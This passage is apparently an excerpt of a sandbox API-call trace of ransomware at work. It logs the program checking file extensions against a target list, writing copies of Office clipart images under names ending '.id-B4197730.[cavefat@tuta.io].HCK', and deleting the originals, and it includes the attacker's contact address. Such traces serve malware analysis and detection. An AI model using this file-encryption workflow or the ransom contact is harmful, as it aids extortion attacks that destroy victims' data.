lstrlenW (lpString=".doc") returned 4 [0227.448] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0227.448] lstrlenW (lpString=".docx") returned 5 [0227.448] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0227.448] lstrlenW (lpString=".pdf") returned 4 [0227.448] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0227.448] lstrlenW (lpString=".xls") returned 4 [0227.448] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0227.448] lstrlenW (lpString=".xlsx") returned 5 [0227.448] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0227.448] lstrlenW (lpString=".ppt") returned 4 [0227.448] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0227.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0227.448] lstrlenW (lpString=".zip") returned 4 [0227.448] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0227.448] lstrlenW (lpString=".rar") returned 4 [0227.448] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0227.448] lstrlenW (lpString=".bz2") returned 4 [0227.448] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0227.448] lstrlenW (lpString=".7z") returned 3 [0227.448] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0227.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0227.448] lstrlenW (lpString=".dbf") returned 4 [0227.448] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0227.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0227.448] lstrlenW (lpString=".1cd") returned 4 [0227.448] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0227.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0227.448] lstrlenW (lpString=".jpg") returned 4 [0227.448] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0227.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0227.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0227.449] lstrlenW (lpString=".doc") returned 4 [0227.449] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0227.449] lstrlenW (lpString=".docx") returned 5 [0227.449] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0227.449] lstrlenW (lpString=".pdf") returned 4 [0227.449] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0227.449] lstrlenW (lpString=".xls") returned 4 [0227.449] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0227.449] lstrlenW (lpString=".xlsx") returned 5 [0227.449] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0227.449] lstrlenW (lpString=".ppt") returned 4 [0227.449] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0227.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0227.449] lstrlenW (lpString=".zip") returned 4 [0227.449] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0227.449] lstrlenW (lpString=".rar") returned 4 [0227.449] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0227.449] lstrlenW (lpString=".bz2") returned 4 [0227.449] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0227.449] lstrlenW (lpString=".7z") returned 3 [0227.449] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0227.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0227.449] lstrlenW (lpString=".dbf") returned 4 [0227.449] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0227.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0227.449] lstrlenW (lpString=".1cd") returned 4 [0227.449] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0227.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0227.449] lstrlenW (lpString=".jpg") returned 4 [0227.449] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0227.449] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0227.449] lstrlenW (lpString="J0099161.JPG") returned 12 [0227.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0227.450] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=7154) returned 1 [0227.450] CloseHandle (hObject=0x49c) returned 1 [0227.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 0x220 [0227.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0227.450] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.450] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0227.451] GetLastError () returned 0x0 [0227.451] ReadFile (in: hFile=0x49c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1bf2, lpOverlapped=0x0) returned 1 [0227.452] WriteFile (in: hFile=0x4bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1c00, lpOverlapped=0x0) returned 1 [0227.453] ReadFile (in: hFile=0x49c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.453] WriteFile (in: hFile=0x4bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0227.453] SetEndOfFile (hFile=0x4bc) returned 1 [0227.453] CloseHandle (hObject=0x4bc) returned 1 [0227.453] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.453] SetEndOfFile (hFile=0x49c) returned 1 [0227.455] CloseHandle (hObject=0x49c) returned 1 [0227.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0227.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 1 [0227.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0227.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0227.456] lstrlenW (lpString=".doc") returned 4 [0227.456] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0227.456] lstrlenW (lpString=".docx") returned 5 [0227.456] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0227.456] lstrlenW (lpString=".pdf") returned 4 [0227.456] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0227.456] lstrlenW (lpString=".xls") returned 4 [0227.457] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0227.457] lstrlenW (lpString=".xlsx") returned 5 [0227.457] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0227.457] lstrlenW (lpString=".ppt") returned 4 [0227.457] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0227.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0227.457] lstrlenW (lpString=".zip") returned 4 [0227.457] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0227.457] lstrlenW (lpString=".rar") returned 4 [0227.457] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0227.457] lstrlenW (lpString=".bz2") returned 4 [0227.457] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0227.457] lstrlenW (lpString=".7z") returned 3 [0227.457] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0227.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0227.457] lstrlenW (lpString=".dbf") returned 4 [0227.457] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0227.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0227.457] lstrlenW (lpString=".1cd") returned 4 [0227.457] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0227.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0227.457] lstrlenW (lpString=".jpg") returned 4 [0227.457] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0227.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0227.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0227.457] lstrlenW (lpString=".doc") returned 4 [0227.457] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0227.457] lstrlenW (lpString=".docx") returned 5 [0227.457] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0227.457] lstrlenW (lpString=".pdf") returned 4 [0227.457] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0227.457] lstrlenW (lpString=".xls") returned 4 [0227.457] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0227.457] lstrlenW (lpString=".xlsx") returned 5 [0227.457] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0227.457] lstrlenW (lpString=".ppt") returned 4 [0227.457] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0227.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0227.457] lstrlenW (lpString=".zip") returned 4 [0227.457] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0227.457] lstrlenW (lpString=".rar") returned 4 [0227.457] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0227.457] lstrlenW (lpString=".bz2") returned 4 [0227.457] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0227.457] lstrlenW (lpString=".7z") returned 3 [0227.457] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0227.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0227.457] lstrlenW (lpString=".dbf") returned 4 [0227.457] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0227.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0227.457] lstrlenW (lpString=".1cd") returned 4 [0227.457] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0227.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0227.457] lstrlenW (lpString=".jpg") returned 4 [0227.458] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0227.458] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0227.458] lstrlenW (lpString="J0099162.JPG") returned 12 [0227.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0227.458] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=19656) returned 1 [0227.458] CloseHandle (hObject=0x49c) returned 1 [0227.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 0x220 [0227.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0227.459] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.459] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0227.460] GetLastError () returned 0x0 [0227.460] ReadFile (in: hFile=0x49c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x4cc8, lpOverlapped=0x0) returned 1 [0227.461] WriteFile (in: hFile=0x4bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0227.463] ReadFile (in: hFile=0x49c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.463] WriteFile (in: hFile=0x4bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0227.463] SetEndOfFile (hFile=0x4bc) returned 1 [0227.463] CloseHandle (hObject=0x4bc) returned 1 [0227.463] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.463] SetEndOfFile (hFile=0x49c) returned 1 [0227.637] CloseHandle (hObject=0x49c) returned 1 [0227.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0227.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 1 [0227.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0227.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0227.638] lstrlenW (lpString=".doc") returned 4 [0227.638] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0227.638] lstrlenW (lpString=".docx") returned 5 [0227.638] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0227.638] lstrlenW (lpString=".pdf") returned 4 [0227.638] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0227.638] lstrlenW (lpString=".xls") returned 4 [0227.638] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0227.638] lstrlenW (lpString=".xlsx") returned 5 [0227.638] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0227.638] lstrlenW (lpString=".ppt") returned 4 [0227.639] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0227.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0227.639] lstrlenW (lpString=".zip") returned 4 [0227.639] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0227.639] lstrlenW (lpString=".rar") returned 4 [0227.639] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0227.639] lstrlenW (lpString=".bz2") returned 4 [0227.639] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0227.639] lstrlenW (lpString=".7z") returned 3 [0227.639] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0227.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0227.639] lstrlenW (lpString=".dbf") returned 4 [0227.639] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0227.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0227.639] lstrlenW (lpString=".1cd") returned 4 [0227.639] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0227.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0227.639] lstrlenW (lpString=".jpg") returned 4 [0227.639] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0227.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0227.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0227.919] lstrlenW (lpString=".doc") returned 4 [0227.919] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0227.919] lstrlenW (lpString=".docx") returned 5 [0227.919] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0227.919] lstrlenW (lpString=".pdf") returned 4 [0227.919] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0227.919] lstrlenW (lpString=".xls") returned 4 [0227.919] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0227.919] lstrlenW (lpString=".xlsx") returned 5 [0227.919] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0227.919] lstrlenW (lpString=".ppt") returned 4 [0227.919] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0227.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0227.919] lstrlenW (lpString=".zip") returned 4 [0227.919] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0227.919] lstrlenW (lpString=".rar") returned 4 [0227.919] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0227.919] lstrlenW (lpString=".bz2") returned 4 [0227.919] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0227.919] lstrlenW (lpString=".7z") returned 3 [0227.919] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0227.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0227.919] lstrlenW (lpString=".dbf") returned 4 [0227.919] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0227.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0227.919] lstrlenW (lpString=".1cd") returned 4 [0227.919] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0227.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0227.919] lstrlenW (lpString=".jpg") returned 4 [0227.919] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0227.919] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0227.919] lstrlenW (lpString="J0099173.WMF") returned 12 [0227.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0227.920] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=37140) returned 1 [0227.920] CloseHandle (hObject=0x4c4) returned 1 [0227.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 0x220 [0227.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0227.921] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.921] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0227.923] GetLastError () returned 0x0 [0227.923] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x9114, lpOverlapped=0x0) returned 1 [0227.925] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x9120, lpOverlapped=0x0) returned 1 [0227.926] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.927] WriteFile (in: hFile=0x4c8, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0227.927] SetEndOfFile (hFile=0x4c8) returned 1 [0227.927] CloseHandle (hObject=0x4c8) returned 1 [0227.927] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.927] SetEndOfFile (hFile=0x4c4) returned 1 [0227.929] CloseHandle (hObject=0x4c4) returned 1 [0227.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0227.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 1 [0227.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0227.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0227.930] lstrlenW (lpString=".doc") returned 4 [0227.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.930] lstrlenW (lpString=".docx") returned 5 [0227.930] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0227.930] lstrlenW (lpString=".pdf") returned 4 [0227.930] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.930] lstrlenW (lpString=".xls") returned 4 [0227.930] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.930] lstrlenW (lpString=".xlsx") returned 5 [0227.930] 